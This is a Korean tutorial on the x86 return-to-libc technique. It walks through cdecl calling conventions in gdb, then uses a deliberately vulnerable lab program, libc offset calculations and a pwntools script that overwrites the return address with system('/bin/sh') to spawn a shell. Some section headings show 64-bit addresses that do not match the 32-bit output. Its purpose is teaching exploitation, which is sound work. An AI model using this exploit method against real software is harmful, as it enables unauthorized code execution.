01.RTL(Return to Libc) - x86

RTL(Return to Libc)

- **RTL이란 Return address 영역에 공유 라이브러리 함수의 주소로 변경해, 해당 함수를 호출하는 방식입니다.**
  - 해당 기법을 이용해 NX bit(DEP)를 우회 할 수 있습니다.

Calling Convention

Cdecl(C declaration)

- **해당 호출 규약(Calling Convention)은 인텔 x86 기반 시스템의 C/C ++ 에서 사용되는 경우가 많습니다.**
- **기본적으로 Linux kernel에서는 Cdecl 호출 규약(Calling Convention)을 사용합니다.**
- **다음과 같은 특징이 있습니다.**
  - 함수의 인자 값을 Stack에 저장하며, 오른쪽에서 왼쪽 순서로 스택에 저장합니다.
  - 함수의 Return 값은 EAX 레지스터에 저장됩니다.
  - 사용된 Stack 정리는 해당 함수를 호출한 함수가 정리합니다.

Calling convention features

인자 전달 방법	Stack을 이용
인자 전달 순서	오른쪽에서 왼쪽의 순서로 스택에 쌓인다
함수의 반환 값	EAX
Stack 정리	호출한 함수가 호출된 함수의 stack 공간을 정리함

- **다음 코드는 4개의 인자를 전달 받고, 반환값은 ret변수에 저장합니다.**

Calling convention example (C language)

```
int a,b,c,d;
int ret;

ret = function(a,b,c,d);
```

- **앞에 코드를 cdecl 형태의 assembly code로 변환하면 다음과 같습니다.**
  - 4개의 인자 값을 push명령어를 이용해 stack에 저장합니다.
  - 함수 호출 후 반환된 값은 EAX레지스터에 저장되며, 해당 값을 ret 변수에 저장합니다.

Calling convention example (Assembly code)

```
push    d
push    c
push    b
push    a
```

```
call    function
mov     ret,eax
```

> **Calling conventions**
> - http://www.int80h.org/bsdasm/#default-calling-convention
> - https://en.wikipedia.org/wiki/Calling_convention

Example

- **cdecl 함수 호출 규약을 확인하기 위해 다음과 같은 코드를 사용합니다.**

test.c

```
//gcc -m32 -o test test.c
#include <stdlib.h>
#include <stdio.h>

void vuln(int a,int b,int c,int d){
        printf("%d, %d, %d, %d",a,b,c,d);
}

void main(){
        vuln(1,2,3,4);
}
```

- **다음과 같이 gdb를 이용하여 cdecl 함수 호출 규약 형태를 확인 할 수 있습니다.**
  - main() 함수에서 vuln함수의 인자 값을 push 명령어를 이용해 Stack에 저장합니다.

Save argument

```
lazenca0x0@ubuntu:~/Exploit/RTL$ gdb -q ./test
Reading symbols from ./test...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048430 <+0>:   lea    ecx,[esp+0x4]
   0x08048434 <+4>:   and    esp,0xfffffff0
   0x08048437 <+7>:   push   DWORD PTR [ecx-0x4]
   0x0804843a <+10>:  push   ebp
   0x0804843b <+11>:  mov    ebp,esp
   0x0804843d <+13>:  push   ecx
   0x0804843e <+14>:  sub    esp,0x4
   0x08048441 <+17>:  push   0x4
   0x08048443 <+19>:  push   0x3
   0x08048445 <+21>:  push   0x2
   0x08048447 <+23>:  push   0x1
   0x08048449 <+25>:  call   0x804840b <vuln>
   0x0804844e <+30>:  add    esp,0x10
   0x08048451 <+33>:  nop
   0x08048452 <+34>:  mov    ecx,DWORD PTR [ebp-0x4]
```

```
   0x08048455 <+37>:  leave
   0x08048456 <+38>:  lea    esp,[ecx-0x4]
   0x08048459 <+41>:  ret
End of assembler dump.
gdb-peda$ b *0x08048449
Breakpoint 1 at 0x8048449
gdb-peda$
```

- **다음과 같이 Stack에 저장된 vuln() 함수의 인자 값을 확인 할 수 있습니다.**

Arguments stored in the Stack

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/RTL/test

Breakpoint 1, 0x08048449 in main ()
gdb-peda$ x/4wx $esp
0xffffd580: 0x00000001  0x00000002  0x00000003  0x00000004
gdb-peda$
```

- **그리고 vuln() 함수는 아래와 같이 main() 함수에서 전달된 인자 값을 사용합니다.**
  - main() 함수에서 사용하던 호출 프레임을 Stack에 저장합니다.("push ebp")
    - 이전 함수에서 사용하던 호출 프레임은 ebp 레지스터에는 저장되어 있습니다.
  - vuln() 함수에서 사용할 새 호출 프레임이 ebp 레지스터에 초기화 됩니다.("mov ebp,esp")
    - ebp 레지스터를 활용하여 Main() 함수로 부터 전달된 인자 값을 활용 할 수 있습니다.

Load argument

```
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0804840b <+0>:   push   ebp
   0x0804840c <+1>:   mov    ebp,esp
   0x0804840e <+3>:   sub    esp,0x8
   0x08048411 <+6>:   sub    esp,0xc
   0x08048414 <+9>:   push   DWORD PTR [ebp+0x14]
   0x08048417 <+12>:  push   DWORD PTR [ebp+0x10]
   0x0804841a <+15>:  push   DWORD PTR [ebp+0xc]
   0x0804841d <+18>:  push   DWORD PTR [ebp+0x8]
   0x08048420 <+21>:  push   0x80484e0
   0x08048425 <+26>:  call   0x80482e0 <printf@plt>
   0x0804842a <+31>:  add    esp,0x20
   0x0804842d <+34>:  nop
   0x0804842e <+35>:  leave
   0x0804842f <+36>:  ret
End of assembler dump.

gdb-peda$ b *0x08048414
Breakpoint 2 at 0x8048414
gdb-peda$
```

- **아래와 같이 "DWORD PTR [ebp+*]" 영역에서 4번째 인자 값을 확인 할 수 있습니다.**

- "DWORD PTR [ebp+0x8]" 부터 "DWORD PTR [ebp+0x10]" 까지 vuln() 함수에 전달된 인자 값입니다.
- "DWORD PTR [ebp+0x4]" 영역에는 해당 함수 호출 후 돌아갈 Return Address가 저장되어 있습니다.
- "DWORD PTR [ebp]" 영역에는 이전 호출 프레임이 저장되어 있습니다.

New call frame

Address	Value	Explanation
0xffffd578	0xffffd598	이전 호출 프레임(push ebp)
0xffffd57c	0x0804844e	Return Address
0xffffd580	0x1	Arg 1
0xffffd584	0x2	Arg 2
0xffffd588	0x3	Arg 3
0xffffd58c	0x4	Arg 4

Check the value stored in Stack

```
Breakpoint 2, 0x08048414 in vuln ()
gdb-peda$ p/x $ebp + 0x14
$1 = 0xffffd58c
gdb-peda$ x/wx 0xffffd58c
0xffffd58c: 0x00000004


gdb-peda$ p/x $ebp + 0x8
$2 = 0xffffd580
gdb-peda$ x/4wx 0xffffd580
0xffffd580: 0x00000001  0x00000002  0x00000003  0x00000004
gdb-peda$ ni


0x08048417 in vuln ()
gdb-peda$ i r esp
esp            0xffffd560   0xffffd560
gdb-peda$ x/wx 0xffffd560
0xffffd560: 0x00000004


gdb-peda$ x/6wx $ebp
0xffffd578: 0xffffd598  0x0804844e  0x00000001  0x00000002
0xffffd588: 0x00000003  0x00000004
gdb-peda$
```

- **즉,다음과 같이 ret2libc 기법 사용시 인자 값을 전달하기 위해서는 Return Address의 4byte 뒤에 인자 값을 전달해야 합니다.**

ret2libc structure

Stack Address	Value	Explanation
0xffffd57c	System function address of libc	Function Return Address
0xffffd580	The address to return to after calling the system function	
0xffffd584	First argument value	

Proof of concept

- **Return to Shellcode를 확인하기 위해 다음 코드를 사용합니다.**
  - main() 함수는 vuln() 함수를 호출합니다.
  - vuln() 함수는 read() 함수를 이용해 사용자로 부터 100개의 문자를 입력받습니다.
    - 여기에서 취약성이 발생합니다. buf 변수의 크기는 50byte이기 때문에 Stack Overflow가 발생합니다.
  - libc의 Base address를 얻기 위해 libc 영역에서 printf() 함수의 주소를 출력합니다.

ret2libc.c

```
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln(){
    char buf[50] = "";
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 100);
}

void main(){
    vuln();
}
```

- **다음과 같이 Build 합니다.**

Build

```
lazenca0x0@ubuntu:~/Exploit/RTL$ gcc -fno-stack-protector -o ret2libc ret2libc.c -ldl
```

Overwriting the return address

- **다음과 같이 Break point를 설정합니다.**
  - 0x0804851b : vuln() 함수의 첫번째 명령어
  - 0x08048586 : read() 함수 호출
  - 0x08048595 : vuln() 함수의 RET 명령어

Breakpoints

```
lazenca0x0@ubuntu:~/Exploit/RTL$ gdb -q ./ret2libc-32
Reading symbols from ./ret2libc-32...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0804851b <+0>:   push   ebp
   0x0804851c <+1>:   mov    ebp,esp
   0x0804851e <+3>:   push   edi
   0x0804851f <+4>:   push   ebx
   0x08048520 <+5>:   sub    esp,0x40
   0x08048523 <+8>:   mov    DWORD PTR [ebp-0x3e],0x0
   0x0804852a <+15>:  lea    eax,[ebp-0x3a]
   0x0804852d <+18>:  mov    ecx,0x2e
   0x08048532 <+23>:  mov    ebx,0x0
   0x08048537 <+28>:  mov    DWORD PTR [eax],ebx
   0x08048539 <+30>:  mov    DWORD PTR [eax+ecx*1-0x4],ebx
   0x0804853d <+34>:  lea    edx,[eax+0x4]
   0x08048540 <+37>:  and    edx,0xfffffffc
   0x08048543 <+40>:  sub    eax,edx
   0x08048545 <+42>:  add    ecx,eax
   0x08048547 <+44>:  and    ecx,0xfffffffc
   0x0804854a <+47>:  shr    ecx,0x2
   0x0804854d <+50>:  mov    edi,edx
   0x0804854f <+52>:  mov    eax,ebx
   0x08048551 <+54>:  rep stos DWORD PTR es:[edi],eax
   0x08048553 <+56>:  sub    esp,0x8
   0x08048556 <+59>:  push   0x8048640
   0x0804855b <+64>:  push   0xffffffff
   0x0804855d <+66>:  call   0x8048400 <dlsym@plt>
   0x08048562 <+71>:  add    esp,0x10
   0x08048565 <+74>:  mov    DWORD PTR [ebp-0xc],eax
   0x08048568 <+77>:  sub    esp,0x8
   0x0804856b <+80>:  push   DWORD PTR [ebp-0xc]
   0x0804856e <+83>:  push   0x8048647
   0x08048573 <+88>:  call   0x80483e0 <printf@plt>
   0x08048578 <+93>:  add    esp,0x10
   0x0804857b <+96>:  sub    esp,0x4
   0x0804857e <+99>:  push   0x64
   0x08048580 <+101>: lea    eax,[ebp-0x3e]
   0x08048583 <+104>: push   eax
   0x08048584 <+105>: push   0x0
   0x08048586 <+107>: call   0x80483d0 <read@plt>
   0x0804858b <+112>: add    esp,0x10
   0x0804858e <+115>: nop
   0x0804858f <+116>: lea    esp,[ebp-0x8]
   0x08048592 <+119>: pop    ebx
```

```
   0x08048593 <+120>: pop    edi
   0x08048594 <+121>: pop    ebp
   0x08048595 <+122>: ret
End of assembler dump.
gdb-peda$ b *0x0804851b
Breakpoint 1 at 0x804851b
gdb-peda$ b *0x08048586
Breakpoint 2 at 0x8048586
gdb-peda$ b *0x08048595
Breakpoint 3 at 0x8048595
gdb-peda$
```

- **다음과 같이 return address를 확인 할 수 있습니다.**
  - ESP 레지스터가 가리키고 있는 최상위 Stack의 주소는 0xffffd57c 입니다.
  - 0xffffd57c 영역에 Return address(0x080485ac)가 저장되어 있습니다.

Breakpoint 1, 0x0000000000400566

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/RTL/ret2libc-32

Breakpoint 1, 0x0804851b in vuln ()
gdb-peda$ i r esp
esp            0xffffd57c   0xffffd57c
gdb-peda$ x/wx 0xffffd57c
0xffffd57c: 0x080485ac
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x08048596 <+0>:   lea    ecx,[esp+0x4]
   0x0804859a <+4>:   and    esp,0xfffffff0
   0x0804859d <+7>:   push   DWORD PTR [ecx-0x4]
   0x080485a0 <+10>:  push   ebp
   0x080485a1 <+11>:  mov    ebp,esp
   0x080485a3 <+13>:  push   ecx
   0x080485a4 <+14>:  sub    esp,0x4
   0x080485a7 <+17>:  call   0x804851b <vuln>
   0x080485ac <+22>:  nop
   0x080485ad <+23>:  add    esp,0x4
   0x080485b0 <+26>:  pop    ecx
   0x080485b1 <+27>:  pop    ebp
   0x080485b2 <+28>:  lea    esp,[ecx-0x4]
   0x080485b5 <+31>:  ret
End of assembler dump.
gdb-peda$
```

- **다음과 같이 buf 변수의 주소를 확인 할 수 있습니다.**
  - buf변수의 위치는 0xffffd53a 이며, Return address 위치와 66byte 떨어져 있습니다.
  - 즉, 사용자 입력 값으로 문자를 66개 이상 입력하면, Return address를 덮어쓸수 있습니다.

Breakpoint 2, 0x0000000000400589

```
gdb-peda$ c
Continuing.
Printf() address : 0xf7e49020
Breakpoint 2, 0x08048586 in vuln ()
gdb-peda$ x/2wx $esp
0xffffd520: 0x00000000  0xffffd53a
gdb-peda$ p/d 0xffffd57c - 0xffffd53a
$1 = 66
gdb-peda$ c
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS
```

- **다음과 같이 Return address 값이 변경된 것을 확인 할 수 있습니다.**
  - 0xffffd57c 영역에 0x52525151(QQRR)가 저장되었습니다.

Breakpoint 3, 0x0000000000400590

```
Breakpoint 3, 0x08048595 in vuln ()
gdb-peda$ x/wx 0xffffd57c
0xffffd57c: 0x52525151
gdb-peda$ x/s 0xffffd57c
0xffffd57c: "QQRRRRSSSS\n\377"
gdb-peda$
```

Find the Libc address of the system() function and "/bin/sh"

- **system() 함수는 다음과 같은 형태입니다.**
  - 인자 값으로 실행할 command의 경로를 문자열로 전달 받고 있습니다.
  - 즉, RTL을 기법을 사용해 shell을 실행하기 위해 "/bin/sh" 문자열을 전달해야 합니다.

Declaration for system() function.

```
int system(const char *command)
```

- **다음과 같이 Libc 영역에서 System() 함수의 주소를 찾을 수 있습니다.**
  - 0xf7e49020(printf function address in libc) - 0xf7e00000(libc Start Address) = 0x49020(libc Base Address offset)
  - 0xf7e3a940(system function address in libc) - 0xf7e00000(libc Start Address) = 0x3a940(system function Address offset)

Find the Libc address of the system() function

```
gdb-peda$ print system
$2 = {<text variable, no debug info>} 0xf7e3a940 <system>
gdb-peda$ info proc map
process 71845
Mapped address spaces:

    Start Addr   End Addr       Size     Offset objfile
     0x8048000  0x8049000     0x1000        0x0 /home/lazenca0x0/Exploit/RTL/ret2libc-32
     0x8049000  0x804a000     0x1000        0x0 /home/lazenca0x0/Exploit/RTL/ret2libc-32
```

```
     0x804a000  0x804b000     0x1000     0x1000 /home/lazenca0x0/Exploit/RTL/ret2libc-32
     0x804b000  0x806c000    0x21000        0x0 [heap]
    0xf7dff000 0xf7e00000     0x1000        0x0
    0xf7e00000 0xf7fad000   0x1ad000        0x0 /lib32/libc-2.23.so
    0xf7fad000 0xf7fae000     0x1000   0x1ad000 /lib32/libc-2.23.so
    0xf7fae000 0xf7fb0000     0x2000   0x1ad000 /lib32/libc-2.23.so
    0xf7fb0000 0xf7fb1000     0x1000   0x1af000 /lib32/libc-2.23.so
    0xf7fb1000 0xf7fb4000     0x3000        0x0
    0xf7fb4000 0xf7fb7000     0x3000        0x0 /lib32/libdl-2.23.so
    0xf7fb7000 0xf7fb8000     0x1000     0x2000 /lib32/libdl-2.23.so
    0xf7fb8000 0xf7fb9000     0x1000     0x3000 /lib32/libdl-2.23.so
    0xf7fd4000 0xf7fd5000     0x1000        0x0
    0xf7fd5000 0xf7fd8000     0x3000        0x0 [vvar]
    0xf7fd8000 0xf7fda000     0x2000        0x0 [vdso]
    0xf7fda000 0xf7ffc000    0x22000        0x0 /lib32/ld-2.23.so
    0xf7ffc000 0xf7ffd000     0x1000    0x22000 /lib32/ld-2.23.so
    0xf7ffd000 0xf7ffe000     0x1000    0x23000 /lib32/ld-2.23.so
    0xfffdd000 0xffffe000    0x21000        0x0 [stack]
gdb-peda$ p/x 0xf7e49020 - 0xf7e00000
$3 = 0x49020
gdb-peda$ p/x 0xf7e3a940 - 0xf7e00000
$4 = 0x3a940
gdb-peda$
```

- 다음과 같이 **"/bin/sh"** 문자열을 찾을 수 있습니다.
  - 0xf7f5902b("/bin/sh" string address in libc) - 0xf7e00000(libc Start Address) = 0x15902b("/bin/sh" string Address offset)

Find the address of the "/bin/sh"

```
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f5902b ("/bin/sh")
gdb-peda$ p/x 0xf7f5902b - 0xf7e00000
$5 = 0x15902b
gdb-peda$
```

Exploit

Exploit.py

```
from pwn import *

p = process('./ret2libc-32')

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)
```

```
libcBase = stackAddr - 0x49020
sysAddr = libcBase + 0x3a940
binsh = libcBase + 0x15902b

print hex(libcBase)
print hex(sysAddr)
print hex(binsh)

exploit = "A" * (70 - len(p32(sysAddr)))
exploit += p32(sysAddr)
exploit += 'BBBB'
exploit += p32(binsh)

p.send(exploit)
p.interactive()
```

- **다음과 같이 앞에 코드를 이용해 Shell을 획득 할 수 있습니다.**
  - 하지만 프로그램 종료시 Error가 발생합니다.

python Exploit.py

```
lazenca0x0@ubuntu:~/Exploit/RTL$ python Exploit.py
[+] Starting local process './ret2libc-32': pid 71912
0xf7ddc000
0xf7e16940
0xf7f3502b
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo)
$ exit
[*] Got EOF while reading in interactive
$
[*] Process './ret2libc-32' stopped with exit code -11 (SIGSEGV) (pid 73756)
[*] Got EOF while sending in interactive
```

- **다음과 같이 Error의 원인을 확인 할 수 있습니다.**
  - system() 함수 호출 후에 0x42424242(BBBB) 영역으로 이동하려고 했기 때문에 Error가 발생합니다.
  - 즉, 0x42424242 영역에 system() 함수 호출 후 이동 할 영역의 주소를 저장하면 Error가 발생하지 않습니다.
    - 대부분 exit() 함수의 주소를 저장합니다.

Check error

```
lazenca0x0@ubuntu:~/Exploit/RTL$ gdb -q ./ret2libc-32 core
Reading symbols from ./ret2libc-32...(no debugging symbols found)...done.
[New LWP 73756]
Core was generated by `./ret2libc-32'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x42424242 in ?? ()
gdb-peda$ bt
```

```
#0  0x42424242 in ?? ()
#1  0xf7f3d02b in ?? () from /lib32/libc.so.6
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
gdb-peda$ x/s 0xf7f3d02b
0xf7f3d02b: "/bin/sh"
gdb-peda$
```

Related site

- https://en.wikipedia.org/wiki/Return-to-libc_attack

Comments

rtl